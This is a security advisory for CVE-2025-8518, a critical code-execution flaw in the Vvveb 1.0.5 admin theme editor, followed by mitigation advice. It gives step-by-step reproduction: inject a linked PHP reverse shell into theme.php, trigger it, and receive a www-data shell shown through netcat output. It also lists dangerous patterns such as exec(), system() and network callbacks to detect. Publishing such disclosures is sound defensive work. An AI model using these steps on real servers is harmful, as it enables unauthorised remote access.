| Type | software |
| Product Environment | web |
| Product Name | Vvveb |
| Product Vendor | Vvveb |
| Product Version | 1.0.5 |
| Product Link | https://github.com/givanz/Vvveb |
| Vulnerability Name | Code Execution |
| Severity | Critical |
|
CVSS String
|
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CVSS Score | 9.0 |
| CVE ID | CVE-2025-8518 |
| Vendor Acknowledgement | Yes |
|
Affected digital Assets
|
268 |
|
Affected Users
|
26800 |
| Date of Reporting | Jan 03, 2025 |
| PoC Exploit | https://gist.github.com/0xHamy/f16fb399f8dd3a973acadc18fa07b1cb |
| Credit | 0xhamy |
The Vvveb admin panel allows authenticated administrators to modify plugin code without any validation, enabling the execution of arbitrary malicious code. This vulnerability is exploitable through the endpoint /vadmin123/index.php?module=editor/code&type=themes, where an admin can edit PHP files such as theme.php to inject and execute a reverse shell, granting unauthorized access to the web server.
Authenticate as an admin and navigate to the vulnerable endpoint:
/vadmin123/index.php?module=editor/code&type=themes
Locate and edit the theme.php file. Replace its contents with the following PHP reverse shell payload (available here):
Update the IP and port in the payload to match your listener (e.g., using Netcat).
Save the modified theme.php file.
Trigger execution by accessing:
/vadmin123/index.php?module=editor/editor&url=/&template=index.html
Monitor your listener for the incoming connection. Example Netcat output:
$ nc -lnvp 6060
Listening on 0.0.0.0 6060
Connection received on 127.0.0.1 33862
Linux hx0 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64 Linux
sh: w: not found
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
/bin/sh: can't access tty; job control turned off
/ $
Implement Code Validation and Sanitization: Enforce server-side validation on all code uploads or edits in the admin panel, such as whitelisting allowed functions, scanning for dangerous patterns (e.g., exec(), system(), or network callbacks), or using a sandboxed execution environment.
Restrict Admin Privileges: Limit file editing capabilities to trusted admins only, and use role-based access control (RBAC) to prevent broad code modification rights. Consider multi-factor authentication (MFA) for admin logins to mitigate brute-force risks.
Secure File Handling: Disable direct PHP execution in theme/plugin directories by configuring the web server (e.g., via .htaccess rules or Nginx directives) to serve files as static content or parse them through a secure preprocessor. Regularly audit and hash uploaded files for integrity.
General Best Practices: Keep Vvveb and all dependencies updated, conduct regular security audits, and monitor for anomalous admin activity. If chaining with XSS is a concern, implement Content Security Policy (CSP) headers and secure cookie attributes (e.g., HttpOnly and Secure).